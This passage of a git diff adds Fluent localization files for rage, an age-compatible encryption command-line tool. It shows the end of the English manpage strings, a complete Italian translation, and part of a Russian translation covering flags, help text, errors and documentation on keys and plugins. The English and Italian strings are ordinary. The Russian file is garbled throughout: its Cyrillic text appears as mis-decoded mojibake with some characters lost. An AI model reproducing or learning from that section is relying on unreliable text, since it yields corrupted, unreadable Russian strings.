'{-rage-keygen} {-flag-convert}' and then passing that to + {-flag-recipients-file}. + + For the format of {identity}, see the definition of {-flag-identity} in the + {man-rage-decryption-options} section. + + {-flag-encrypt} must be explicitly specified when using {-flag-identity} + in encryption mode to avoid confusion. + +man-rage-flag-plugin-encrypt = + Encrypt using the data-less plugin {plugin-name}. + + This is equivalent to using {-flag-identity} with a file that contains a + single plugin {identity} that encodes no plugin-specific data. + + {-flag-encrypt} must be explicitly specified when using {-flag-plugin-name} + in encryption mode to avoid confusion. + +man-rage-decryption-options = Decryption options + +man-rage-flag-decrypt = + Decrypt {input} to {output}. + + If {input} is passphrase encrypted, it will be automatically detected + and the passphrase will be requested interactively. Otherwise, the + {identities} specified with {-flag-identity} are used. + + ASCII armoring is transparently detected and decoded. + +man-rage-flag-identity-decrypt = + Decrypt using the {identities} at {identity}. + + {identity} may be one of the following: + + a. A file listing {identities} one per line. Empty lines and lines starting + with "#" are ignored as comments. + + b. A passphrase encrypted age file, containing {identities} one per + line like above. The passphrase is requested interactively. Note that + passphrase-protected identity files are not necessary for most use cases, + where access to the encrypted identity file implies access to the whole + system. + + c. An SSH private key file, in PKCS#1, PKCS#8, or OpenSSH format. + If the private key is password-protected, the password is requested + interactively only if the SSH identity matches the file. See the + {man-rage-ssh-keys-heading} section for more information, including + supported key types. + + d. {-stdin}, causing one of the options above to be read from standard input. + In this case, the {input} argument must be specified. + + This option can be repeated. Identities are tried in the order in which are + provided, and the first one matching one of the file's recipients is used. + Unused identities are ignored, but it is an error if the {input} file is + passphrase-encrypted and {-flag-identity} is specified. + +man-rage-flag-plugin-decrypt = + Decrypt using the data-less plugin {plugin-name}. + + This is equivalent to using {-flag-identity} with a file that contains a + single plugin {identity} that encodes no plugin-specific data. + +man-rage-recipients-and-identities-heading = RECIPIENTS AND IDENTITIES +man-rage-recipients-and-identities = + {recipients} are public values, like a public key, that a file can be encrypted + to. {identities} are private values, like a private key, that allow decrypting + a file encrypted to the corresponding {recipient}. + +man-rage-native-x25519-keys-heading = Native X25519 keys +man-rage-native-x25519-keys = + Native {-age} key pairs are generated with {-rage-keygen}(1), and provide small + encodings and strong encryption based on X25519. They are the recommended + recipient type for most applications. + + A {recipient} encoding begins with "{-recipient-prefix}" and looks like the + following: + + {" "}{$example_age_recipient} + + An {identity} encoding begins with "{-identity-prefix}" and looks like the + following: + + {" "}{$example_age_identity} + + An encrypted file can't be linked to the native recipient it's encrypted to + without access to the corresponding identity. + +man-rage-ssh-keys-heading = SSH keys +man-rage-ssh-keys = + As a convenience feature, {-rage} also supports encrypting to RSA or Ed25519 + {-ssh} keys. RSA keys must be at least 2048 bits. This feature employs more + complex cryptography, and should only be used when a native key is not available + for the recipient. Note that SSH keys might not be protected long-term by the + recipient, since they are revokable when used only for authentication. + + A {recipient} encoding is an SSH public key in "{-ssh-authorized-keys}" format + (see the "{-authorized-keys-file-format}" section of {-sshd}), starting with + "{-ssh-rsa}" or "{-ssh-ed25519}", like the following: + + {" "}{$example_ssh_rsa} + {" "}{$example_ssh_ed25519} + + The comment at the end of the line, if present, is ignored. + + In recipient files passed to {-flag-recipients-file}, unsupported but valid + SSH public keys are ignored with a warning, to facilitate using + "{-ssh-authorized-keys}" or GitHub "{-dot-keys}" files. (See {man-examples-heading}.) + + An {identity} is an SSH private key _file_ passed individually to + {-flag-identity}. Note that keys held on hardware tokens such as YubiKeys + or accessed via {-ssh-agent} are not supported. + + An encrypted file _can_ be linked to the SSH public key it was encrypted to. + This is so that {-rage} can identify the correct SSH private key before + requesting its password, if any. + +man-rage-plugins-heading = Plugins +man-rage-plugins = + {-rage} can be extended through plugins. A plugin is only loaded if a corresponding + {recipient} or {identity} is specified. (Simply decrypting a file encrypted with + a plugin will not cause it to load, for security reasons among others.) + + A {recipient} for a plugin named "{-example}" starts with "{-example-r}", while an + {identity} starts with "{-example-i}". They both encode arbitrary plugin-specific + data, and are generated by the plugin. + + When either is specified, {-rage} searches for {-age-plugin-}{-example} in the PATH + and executes it to perform the file header encryption or decryption. The plugin + may request input from the user through {-rage} to complete the operation. + + Plugins can be freely mixed with other plugins or natively supported keys. + + A plugin is not bound to only encrypt or decrypt files meant for or generated by + the plugin. For example, a plugin can be used to decrypt files encrypted to a + native X25519 {recipient} or even with a passphrase. Similarly, a plugin can + encrypt a file such that it can be decrypted without the use of any plugin. + + Plugins for which the {identity}/{recipient} distinction doesn't make sense + (such as a symmetric encryption plugin) may generate only an {identity} and + instruct the user to perform encryption with the {-flag-encrypt} and + {-flag-identity} flags. Plugins for which the concept of separate identities + doesn't make sense (such as a password-encryption plugin) may instruct the user + to use the {-flag-plugin-name} flag. + +man-examples-heading = EXAMPLES + +man-rage-example-single = Generate a new identity, encrypt data, and decrypt +man-rage-example-enc-multiple = Encrypt {$input} to multiple recipients and output to {$output} +man-rage-example-enc-list = Encrypt to a list of recipients +man-rage-example-password = Encrypt and decrypt a file using a passphrase +man-rage-example-identity-passphrase = Encrypt and decrypt with a passphrase-protected identity file +man-rage-example-ssh = Encrypt and decrypt with an SSH public key +man-rage-example-yubikey = Encrypt and decrypt with {-age-plugin-}{-yubikey} +man-rage-example-yubikey-setup = Run interactive setup, generate identity file and obtain recipient. +man-rage-example-enc-github = Encrypt to the SSH keys of a GitHub user + +man-see-also-heading = SEE ALSO + +## rage-keygen manpage + +man-keygen-about = Generate age-compatible encryption key pairs + +man-keygen-description = + {-rage-keygen} generates a new native {-age} key pair, and outputs the identity to + standard output or to the {output} file. The output includes the public key and + the current time as comments. + + If the output is not going to a terminal, {-rage-keygen} prints the public key to + standard error. + +man-keygen-flag-output = + Write the identity to {output} instead of standard output. + + If {output} already exists, it is not overwritten. + +man-keygen-flag-convert = + Read an identity file from {input} or from standard input and output the + corresponding recipient(s), one per line, with no comments. + +man-keygen-example-stdout = Generate a new identity +man-keygen-example-file = Write a new identity to "{$filename}" +man-keygen-example-convert = Convert an identity to a recipient + +## rage-mount manpage + +man-mount-about = Mount an {-age} encrypted filesystem + +man-mount-description = + {-rage-mount} decrypts the {-age} encrypted filesystem at {mnt-filename} on the + fly, and mounts it as a directory on the local filesystem at {mnt-mountpoint}. + + Passphrase-encrypted files are detected automatically and the passphrase is + requested interactively. Otherwise, one or more {identities} specified with + {-flag-identity} are used to decrypt the file. + + The previous contents (if any) and owner and mode of {mnt-mountpoint} become + invisible, and as long as this filesystem remains mounted, the pathname + {mnt-mountpoint} refers to the root of the filesystem on {mnt-filename}. + +man-mount-flag-types = + Set the filesystem type. The following types are currently supported: {$types}. + + This option is required. {-rage-mount} does not attempt to guess the filesystem + format. + + In theory, any efficiently-seekable filesystem format can be supported. At + present, {-rage-mount} only supports seekable archive formats. + +man-mount-example-identity = Mounting an archive encrypted to a recipient +man-mount-example-passphrase = Mounting an archive encrypted with a passphrase diff --git a/lib/rage/rage/i18n/it/rage.ftl b/lib/rage/rage/i18n/it/rage.ftl new file mode 100644 index 0000000..d88e154 --- /dev/null +++ b/lib/rage/rage/i18n/it/rage.ftl @@ -0,0 +1,214 @@ +# Copyright 2020 Jack Grigg +# +# Licensed under the Apache License, Version 2.0 or the MIT license +# , at your +# option. This file may not be copied, modified, or distributed +# except according to those terms. + +### Localization for strings in the rage CLI tools + +## Terms (not to be localized) + +-age = age +-age-plugin- = age-plugin- +-rage = rage +-rage-keygen = rage-keygen +-stdin = "-" +-recipient-prefix = age1 +-identity-prefix = AGE-SECRET-KEY-1 +-armor-pem-type = AGE ENCRYPTED FILE + +-rage-mount = rage-mount + +-ssh-rsa = ssh-rsa +-ssh-ed25519 = ssh-ed25519 +-ssh-authorized-keys = authorized_keys +-dot-keys = .keys +-ssh = ssh(1) +-authorized-keys-file-format = AUTHORIZED_KEYS FILE FORMAT +-sshd = sshd(8) +-ssh-agent = ssh-agent(1) + +-example = example +-example-r = age1example1 +-example-i = AGE-PLUGIN-EXAMPLE-1 + +-yubikey = yubikey + +## CLI flags (not to be localized) + +-flag-armor = -a/--armor +-flag-decrypt = -d/--decrypt +-flag-encrypt = -e/--encrypt +-flag-identity = -i/--identity +-flag-output = -o/--output +-flag-recipient = -r/--recipient +-flag-recipients-file = -R/--recipients-file +-flag-passphrase = -p/--passphrase +-flag-plugin-name = -j +-flag-max-work-factor = --max-work-factor +-flag-unstable = --features unstable + +-flag-convert = -y + +-flag-mnt-types = -t/--types + +## Usage + +usage-header = Utilizzo + +recipient = DESTINATARIO +recipients-file = PERCORSO +identity = IDENTITÀ +plugin-name = NOME-PLUGIN +input = INPUT +output = OUTPUT + +args-header = Argomenti + +help-arg-input = Posizione di un file di input. + +flags-header = Opzioni + +help-flag-help = Presenta questo messaggio e esci. +help-flag-version = Presenta la versione e esci. +help-flag-encrypt = Cifra l'input (il default). +help-flag-decrypt = Decifra l'input. +help-flag-passphrase = Cifra con una passphrase invece che con i destinatari. +help-flag-max-work-factor = Fattore di complessità massima per decifrare passphrase. +help-flag-armor = Codifica l'output della cifratura in PEM. +help-flag-recipient = Cifra al {recipient} specificato. Può essere ripetuto. +help-flag-recipients-file = Cifra ai destinatari elencati in {recipients-file}. Può essere ripetuto. +help-flag-identity = Usa il file {identity}. Può essere ripetuto. +help-flag-plugin-name = Usa {-age-plugin-}{plugin-name} in modalità di default come identità. +help-flag-output = Scrivi l'output al file {output}. + +rage-after-help-content = + {input} ha come valore predefinito lo standard input, e {output} ha come + valore predefinito lo standard output. + + {recipient} può essere: + - Una chiave pubblica {-age}, come generata da {$keygen_name} ({$example_age_pubkey}). + - Una chiave pubblica SSH ({$example_ssh_pubkey}). + + {recipients-file} è il percorso ad un file contenente dei destinatari {-age}, + uno per riga (ignorando i commenti che iniziano con "#" e le righe vuote). + + {identity} è il percorso ad un file contenente identità {-age}, una per + riga (ignorando i commenti che iniziano con "#" e le righe vuote), o ad un + file contenente una chiave SSH. + I file di identità possono essere cifrati con {-age} e una passphrase. + Possono essere fornite più identità, quelle inutilizzate verranno ignorate. + +rage-after-help-example = + Esempio: + {" "}{$example_a} + {" "}{tty-pubkey}: {$example_a_output} + {" "}{$example_b} + {" "}{$example_c} + +keygen-help-flag-output = {help-flag-output} Standard output di default. +keygen-help-flag-convert = Converti un file di identità in un file di destinatari. + +## Formatting + +warning-msg = Attenzione: {$warning} + +## Keygen messages + +tty-pubkey = Chiave pubblica +identity-file-created = creato +identity-file-pubkey = chiave pubblica + +## Encryption messages + +autogenerated-passphrase = Utilizzo di una passphrase generata automaticamente: +type-passphrase = Inserisci la passphrase +prompt-passphrase = Passphrase + +warn-double-encrypting = Sta venendo cifrato un file già cifrato + +## General errors + +err-failed-to-open-input = Impossibile aprire l'input: {$err} +err-failed-to-open-output = Impossibile aprire l'output: {$err} +err-failed-to-read-input = Impossibile leggere dall'input: {$err} +err-failed-to-write-output = Impossibile scrivere sull'output: {$err} +err-identity-ambiguous = {-flag-identity} richiede esplicitamente {-flag-encrypt} o {-flag-decrypt}. +err-mixed-encrypt-decrypt = {-flag-encrypt} non può essere usato assieme a {-flag-decrypt}. +err-passphrase-timed-out = Tempo di attesa per l'inserimento della passphrase scaduto. +err-same-input-and-output = L'input e l'output sono lo stesso file: '{$filename}'. + +err-ux-A = Qualcosa è andato storto? Un errore potrebbe essere più chiaro? +err-ux-B = Faccelo sapere +# Put (len(A) - len(B) - 32) spaces here. +err-ux-C = {" "} + +## Encryption errors + +err-enc-broken-stdout = Impossibile scrivere sullo standard output: {$err} +rec-enc-broken-stdout = Stai usando una pipe verso un programma che non sta leggendo dallo standard input? + +err-enc-broken-file = Impossibile scrivere sul file: {$err} + +rec-enc-missing-recipients = Hai dimenticato di specificare {-flag-recipient}? + +err-enc-mixed-identity-passphrase = {-flag-identity} non può essere usato assieme a {-flag-passphrase}. +err-enc-mixed-recipient-passphrase = {-flag-recipient} non può essere usato assieme a {-flag-passphrase}. +err-enc-mixed-recipients-file-passphrase = {-flag-recipients-file} non può essere usato assieme a {-flag-passphrase}. +err-enc-passphrase-without-file = Il file da cifrare deve essere passato come argomento quando si usa {-flag-passphrase}. + +err-enc-plugin-name-flag = {-flag-plugin-name} non può essere usato assieme a {-flag-encrypt}. + +## Decryption errors + +err-detected-powershell-corruption = Sembra che questo file sia stato corrotto dalla redirezione in PowerShell. +rec-detected-powershell-corruption = Usa {-flag-output} o {-flag-armor} per cifrare file in PowerShell. + +rec-dec-excessive-work = Per decifrare, riprova usando {-flag-max-work-factor} {$wf} + +err-dec-armor-flag = {-flag-armor} non può essere usato assieme a {-flag-decrypt}. +rec-dec-armor-flag = Nota che i file armored vengono rilevati automaticamente. + +err-dec-missing-identities = Identità mancanti. +rec-dec-missing-identities = Hai dimenticato di specificare {-flag-identity}? +rec-dec-missing-identities-stdin = Hai dimenticato di passare l'identità tramite standard input? + +err-dec-mixed-identity-passphrase = {-flag-identity} non può essere usato con file cifrati con una passphrase. + +err-mixed-identity-and-plugin-name = {-flag-identity} non può essere usato assieme a {-flag-plugin-name}. + +err-dec-passphrase-flag = {-flag-passphrase} non può essere usato assieme a {-flag-decrypt}. +rec-dec-passphrase-flag = Nota che i file cifrati con una passphrase vengono rilevati automaticamente. + +err-dec-passphrase-without-file-win = + Questo file richiede una passphrase, e su Windows il + file da decifrare deve essere passato come argomento + posizionale quando si decifra con la passphrase. + +err-dec-recipient-flag = {-flag-recipient} non può essere usato assieme a {-flag-decrypt}. +err-dec-recipients-file-flag = {-flag-recipients-file} non può essere usato assieme a {-flag-decrypt}. +rec-dec-recipient-flag = Intendevi usare {-flag-identity} per specificare una chiave privata? + +## rage-mount strings + +mnt-filename = PERCORSO +mnt-mountpoint = MOUNTPOINT +mnt-types = TIPI + +help-arg-mnt-filename = Il filesystem cifrato da montare. +help-arg-mnt-mountpoint = La cartella su cui montare il filesystem. +help-arg-mnt-types = Il tipo del filesystem (uno di {$types}). + +info-decrypting = Decifrando {$filename} +info-mounting-as-fuse = Montando come filesystem FUSE + +err-mnt-missing-filename = Nome del file mancante. +err-mnt-missing-mountpoint = Punto di montaggio mancante. +err-mnt-missing-types = {-flag-mnt-types} mancante. +err-mnt-unknown-type = Tipo di filesystem sconosciuto "{$fs_type}" + +## Unstable features + +test-unstable = Per testare questo esegui la build di {-rage} con {-flag-unstable}. diff --git a/lib/rage/rage/i18n/ru/rage.ftl b/lib/rage/rage/i18n/ru/rage.ftl new file mode 100644 index 0000000..89b3153 --- /dev/null +++ b/lib/rage/rage/i18n/ru/rage.ftl @@ -0,0 +1,506 @@ +# Copyright 2020 Jack Grigg +# +# Licensed under the Apache License, Version 2.0 or the MIT license +# , at your +# option. This file may not be copied, modified, or distributed +# except according to those terms. + +### Localization for strings in the rage CLI tools + +## Terms (not to be localized) + +-age = age +-age-plugin- = age-plugin- +-rage = rage +-rage-keygen = rage-keygen +-stdin = "-" +-recipient-prefix = age1 +-identity-prefix = AGE-SECRET-KEY-1 +-armor-pem-type = AGE ENCRYPTED FILE + +-rage-mount = rage-mount + +-ssh-rsa = ssh-rsa +-ssh-ed25519 = ssh-ed25519 +-ssh-authorized-keys = authorized_keys +-dot-keys = .keys +-ssh = ssh(1) +-authorized-keys-file-format = AUTHORIZED_KEYS FILE FORMAT +-sshd = sshd(8) +-ssh-agent = ssh-agent(1) + +-example = example +-example-r = age1example1 +-example-i = AGE-PLUGIN-EXAMPLE-1 + +-yubikey = yubikey + +## CLI flags (not to be localized) + +-flag-armor = -a/--armor +-flag-decrypt = -d/--decrypt +-flag-encrypt = -e/--encrypt +-flag-identity = -i/--identity +-flag-output = -o/--output +-flag-recipient = -r/--recipient +-flag-recipients-file = -R/--recipients-file +-flag-passphrase = -p/--passphrase +-flag-plugin-name = -j +-flag-max-work-factor = --max-work-factor +-flag-unstable = --features unstable + +-flag-convert = -y + +-flag-mnt-types = -t/--types + +## Usage + +usage-header = ИСПОЛЬЗОВÐÐИЕ + +recipient = ПОЛУЧÐТЕЛЬ +recipients-file = ПУТЬ +identity = ИДЕÐТИФИКÐТОР +plugin-name = ÐÐЗВÐÐИЕ-ПЛÐГИÐÐ +input = ВХОД +output = ВЫХОД + +args-header = ÐРГУМЕÐТЫ + +help-arg-input = Путь к файлу Ð´Ð»Ñ Ñ‡Ñ‚ÐµÐ½Ð¸Ñ. + +flags-header = Опции + +help-flag-help = Печатать Ñто Ñообщение Ñправки и выходить. +help-flag-version = Печатать информацию о верÑии и выходить. +help-flag-encrypt = Шифровать ввод (по умолчанию). +help-flag-decrypt = РаÑшифровать ввод. +help-flag-passphrase = Шифровать Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Ð¿Ð°Ñ€Ð¾Ð»Ñ Ð²Ð¼ÐµÑто получателей. +help-flag-max-work-factor = МакÑимальный коÑффициент работы Ð´Ð»Ñ Ð´ÐµÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¿Ð°Ñ€Ð¾Ð»Ñ. +help-flag-armor = Шифровать в формате PEM. +help-flag-recipient = Шифровать Ð´Ð»Ñ ÑƒÐºÐ°Ð·Ð°Ð½Ð½Ð¾Ð³Ð¾ {recipient}. Можно повторÑть. +help-flag-recipients-file = Шифровать Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡Ð°Ñ‚ÐµÐ»ÐµÐ¹, перечиÑленных в {recipients-file}. Можно повторÑть. +help-flag-identity = ИÑпользовать файл идентификации в {identity}. Можно повторÑть. +help-flag-plugin-name = ИÑпользовать плагин {-age-plugin-}{plugin-name} в его Ñтандартном режиме Ð´Ð»Ñ Ð¸Ð´ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ†Ð¸Ð¸. +help-flag-output = ЗапиÑать результат в файл по пути {output}. + +rage-after-help-content = + {input} по умолчанию иÑпользует Ñтандартный ввод, а {output} - Ñтандартный вывод. + ЕÑли {output} ÑущеÑтвует, он будет перезапиÑан. + + {recipient} может быть: + - Публичным ключом {-age}, как Ñгенерировано {$keygen_name} ({$example_age_pubkey}). + - Публичным ключом SSH ({$example_ssh_pubkey}). + + {recipients-file} Ñто путь к файлу, Ñодержащему получателей {-age}, по одному на Ñтроку + (игнорируютÑÑ ÐºÐ¾Ð¼Ð¼ÐµÐ½Ñ‚Ð°Ñ€Ð¸Ð¸ Ñ Ð¿Ñ€ÐµÑ„Ð¸ÐºÑом "#" и пуÑтые Ñтроки). {-stdin} может + иÑпользоватьÑÑ Ð´Ð»Ñ Ñ‡Ñ‚ÐµÐ½Ð¸Ñ Ð¿Ð¾Ð»ÑƒÑ‡Ð°Ñ‚ÐµÐ»ÐµÐ¹ Ñо Ñтандартного ввода. + + {identity} Ñто путь к файлу Ñ Ð¸Ð´ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ‚Ð¾Ñ€Ð°Ð¼Ð¸ {-age}, по одному на Ñтроку + (игнорируютÑÑ ÐºÐ¾Ð¼Ð¼ÐµÐ½Ñ‚Ð°Ñ€Ð¸Ð¸ Ñ Ð¿Ñ€ÐµÑ„Ð¸ÐºÑом "#" и пуÑтые Ñтроки), или к файлу + ключа SSH. Файлы идентификации {-age}, зашифрованные Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ паролÑ, могут + иÑпользоватьÑÑ ÐºÐ°Ðº файлы идентификации. ожно указать неÑколько идентификаторов, + неиÑпользуемые будут игнорироватьÑÑ. {-stdin} может иÑпользоватьÑÑ Ð´Ð»Ñ Ñ‡Ñ‚ÐµÐ½Ð¸Ñ + идентификаторов Ñо Ñтандартного ввода. + +rage-after-help-example = + Пример: + {" "}{$example_a} + {" "}{tty-pubkey}: {$example_a_output} + {" "}{$example_b} + {" "}{$example_c} + +keygen-help-flag-output = {help-flag-output} По умолчанию иÑпользует Ñтандартный вывод. +keygen-help-flag-convert = Преобразовать файл идентификации в файл получателей. + +## Formatting + +warning-msg = Внимание: {$warning} + +## Keygen messages + +tty-pubkey = Публичный ключ +identity-file-created = Ñоздан +identity-file-pubkey = публичный ключ + +## Encryption messages + +autogenerated-passphrase = ИÑпользование автоматичеÑки Ñгенерированного паролÑ: +type-passphrase = Введите пароль +prompt-passphrase = Пароль + +warn-double-encrypting = Шифрование уже зашифрованного файла + +## General errors + +err-failed-to-open-input = Ðе удалоÑÑŒ открыть входной файл: {$err} +err-failed-to-open-output = Ðе удалоÑÑŒ открыть выходной файл: {$err} +err-failed-to-read-input = Ðе удалоÑÑŒ прочитать из входного файла: {$err} +err-failed-to-write-output = Ðе удалоÑÑŒ запиÑать в выходной файл: {$err} +err-identity-ambiguous = {-flag-identity} требует либо {-flag-encrypt}, либо {-flag-decrypt}. +err-mixed-encrypt-decrypt = {-flag-encrypt} не может иÑпользоватьÑÑ Ð²Ð¼ÐµÑте Ñ {-flag-decrypt}. +err-passphrase-timed-out = ИÑтекло Ð²Ñ€ÐµÐ¼Ñ Ð¾Ð¶Ð¸Ð´Ð°Ð½Ð¸Ñ Ð²Ð²Ð¾Ð´Ð° паролÑ. +err-same-input-and-output = Входной и выходной файлы Ñовпадают '{$filename}'. + +err-ux-A = {-rage} не Ñделал то, что вы ожидали? Могла ли быть полезнее ошибка? +err-ux-B = Сообщите нам +# ПоÑтавьте здеÑÑŒ пробелы (len(A) - len(B) - 32). +err-ux-C = {" "} + +## Encryption errors + +err-enc-broken-stdout = Ðе удалоÑÑŒ запиÑать в stdout: {$err} +rec-enc-broken-stdout = Ð’Ñ‹ передаете данные в программу, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð½Ðµ читает из stdin? + +err-enc-broken-file = Ðе удалоÑÑŒ запиÑать в файл: {$err} + +rec-enc-missing-recipients = Ð’Ñ‹ забыли указать {-flag-recipient}? + +err-enc-mixed-identity-passphrase = {-flag-identity} не может иÑпользоватьÑÑ Ñ {-flag-passphrase}. +err-enc-mixed-recipient-passphrase = {-flag-recipient} не может иÑпользоватьÑÑ Ñ {-flag-passphrase}. +err-enc-mixed-recipients-file-passphrase = {-flag-recipients-file} не может иÑпользоватьÑÑ Ñ {-flag-passphrase}. +err-enc-passphrase-without-file = Файл Ð´Ð»Ñ ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð´Ð¾Ð»Ð¶ÐµÐ½ быть передан как аргумент при иÑпользовании {-flag-passphrase}. + +err-enc-plugin-name-flag = {-flag-plugin-name} не может иÑпользоватьÑÑ Ñ {-flag-encrypt}. + +## Decryption errors + +err-detected-powershell-corruption = Похоже, что Ñтот файл был поврежден перенаправлением PowerShell. +rec-detected-powershell-corruption = РаÑÑмотрите возможноÑть иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ {-flag-output} или {-flag-armor} Ð´Ð»Ñ ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ„Ð°Ð¹Ð»Ð¾Ð² в PowerShell. + +rec-dec-excessive-work = Ð”Ð»Ñ Ñ€Ð°Ñшифровки попробуйте Ñнова Ñ {-flag-max-work-factor} {$wf} + +err-dec-armor-flag = {-flag-armor} не может иÑпользоватьÑÑ Ñ {-flag-decrypt}. +rec-dec-armor-flag = Обратите внимание, что бронированные файлы определÑÑŽÑ‚ÑÑ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки. + +err-dec-missing-identities = ОтÑутÑтвуют идентификаторы. +rec-dec-missing-identities = Ð’Ñ‹ забыли указать {-flag-identity}? +rec-dec-missing-identities-stdin = Ð’Ñ‹ забыли предоÑтавить идентификатор через Ñтандартный ввод? + +err-dec-mixed-identity-passphrase = {-flag-identity} не может иÑпользоватьÑÑ Ñ Ñ„Ð°Ð¹Ð»Ð°Ð¼Ð¸, зашифрованными паролем. + +err-mixed-identity-and-plugin-name = {-flag-identity} не может иÑпользоватьÑÑ Ñ {-flag-plugin-name}. + +err-dec-passphrase-flag = {-flag-passphrase} не может иÑпользоватьÑÑ Ñ {-flag-decrypt}. +rec-dec-passphrase-flag = Обратите внимание, что файлы, зашифрованные паролем, обнаруживаютÑÑ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки. + +err-dec-passphrase-without-file-win = + Этот файл требует паролÑ, и в Windows файл Ð´Ð»Ñ Ñ€Ð°Ñшифровки + должен быть передан как позиционный аргумент при раÑшифровке Ñ Ð¿Ð°Ñ€Ð¾Ð»ÐµÐ¼. + +err-dec-recipient-flag = {-flag-recipient} не может иÑпользоватьÑÑ Ñ {-flag-decrypt}. +err-dec-recipients-file-flag = {-flag-recipients-file} не может иÑпользоватьÑÑ Ñ {-flag-decrypt}. +rec-dec-recipient-flag = Ð’Ñ‹ имели в виду иÑпользовать {-flag-identity} Ð´Ð»Ñ ÑƒÐºÐ°Ð·Ð°Ð½Ð¸Ñ Ð·Ð°ÐºÑ€Ñ‹Ñ‚Ð¾Ð³Ð¾ ключа? + +## rage-mount strings + +mnt-filename = ИМЯ_ФÐЙЛР+mnt-mountpoint = ТОЧКÐ_МОÐТИРОВÐÐИЯ +mnt-types = ТИПЫ + +help-arg-mnt-filename = Ð—Ð°ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð½Ð°Ñ Ñ„Ð°Ð¹Ð»Ð¾Ð²Ð°Ñ ÑиÑтема Ð´Ð»Ñ Ð¼Ð¾Ð½Ñ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ. +help-arg-mnt-mountpoint = Ð”Ð¸Ñ€ÐµÐºÑ‚Ð¾Ñ€Ð¸Ñ Ð´Ð»Ñ Ð¼Ð¾Ð½Ñ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ„Ð°Ð¹Ð»Ð¾Ð²Ð¾Ð¹ ÑиÑтемы. +help-arg-mnt-types = Указывает тип файловой ÑиÑтемы (один из {$types}). + +info-decrypting = РаÑшифровка {$filename} +info-mounting-as-fuse = Монтирование как Ñ„Ð°Ð¹Ð»Ð¾Ð²Ð°Ñ ÑиÑтема FUSE + +err-mnt-missing-filename = ОтÑутÑтвует Ð¸Ð¼Ñ Ñ„Ð°Ð¹Ð»Ð°. +err-mnt-missing-mountpoint = ОтÑутÑтвует точка Ð¼Ð¾Ð½Ñ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ +err-mnt-missing-types = ОтÑутÑтвует {-flag-mnt-types}. +err-mnt-unknown-type = ÐеизвеÑтный тип файловой ÑиÑтемы "{$fs_type}" + +## Unstable features + +test-unstable = Чтобы протеÑтировать Ñто, Ñоберите {-rage} Ñ {-flag-unstable}. + +## rage manpage + +recipients = ПОЛУЧÐТЕЛИ +identities = ИДЕÐТИФИКÐТОРЫ + +man-rage-about = ПроÑтой, безопаÑный и Ñовременный инÑтрумент ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ + +man-rage-description = + {-rage} шифрует или раÑшифровывает {input} в {output}. Ðргумент {input} + необÑзателен и по умолчанию иÑпользует Ñтандартный ввод. + Может быть указан только один файл {input}. ЕÑли {-flag-output} + не указан, {output} по умолчанию иÑпользует Ñтандартный вывод. + + ЕÑли указан {-flag-passphrase}, файл шифруетÑÑ Ñ Ð¿Ð°Ñ€Ð¾Ð»ÐµÐ¼, запрашиваемым в + интерактивном режиме. Ð’ противном Ñлучае он шифруетÑÑ Ð´Ð»Ñ Ð¾Ð´Ð½Ð¾Ð³Ð¾ или + неÑкольких {recipients}, указанных Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ {-flag-recipient} или + {-flag-recipients-file}. Каждый получатель может раÑшифровать файл. + + Ð’ режиме {-flag-decrypt}, файлы, зашифрованные паролем, обнаруживаютÑÑ + автоматичеÑки, и пароль запрашиваетÑÑ Ð² интерактивном режиме. Ð’ противном Ñлучае иÑпользуютÑÑ + один или неÑколько {identities}, указанных Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ {-flag-identity}, Ð´Ð»Ñ Ñ€Ð°Ñшифровки файла + + Зашифрованные файлы {-age} ÑвлÑÑŽÑ‚ÑÑ Ð±Ð¸Ð½Ð°Ñ€Ð½Ñ‹Ð¼Ð¸ и не поддаютÑÑ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñм, Ñ Ð¿Ñ€Ð¸Ð±Ð»Ð¸Ð·Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾ 200 байтами + накладных раÑходов на каждого получателÑ, Ð¿Ð»ÑŽÑ 16 байт на каждые 64КБ иÑходного текÑта. + +man-rage-flag-output = + ЗапиÑать зашифрованный или раÑшифрованный файл в {output} вмеÑто Ñтандартного вывода. + ЕÑли {output} уже ÑущеÑтвует, он будет перезапиÑан. + + ЕÑли шифрование производитÑÑ Ð±ÐµÐ· {-flag-armor}, {-rage} откажетÑÑ Ð²Ñ‹Ð²Ð¾Ð´Ð¸Ñ‚ÑŒ двоичные данные в TTY. + Это можно принудительно указать, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ {-stdin} в качеÑтве {output} + +man-rage-encryption-options = Опции ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ + +man-rage-flag-encrypt = + Зашифровать {input} в {output}. Это значение по умолчанию. + +man-rage-flag-recipient = + Зашифровать Ð´Ð»Ñ Ñвно указанного {recipient}. Смотрите раздел + {man-rage-recipients-and-identities-heading} Ð´Ð»Ñ Ð²Ð¾Ð·Ð¼Ð¾Ð¶Ð½Ñ‹Ñ… + форматов получателей. + + Этот параметр можно повторÑть и комбинировать Ñ Ð´Ñ€ÑƒÐ³Ð¸Ð¼Ð¸ флагами получателей, + и файл может быть раÑшифрован вÑеми 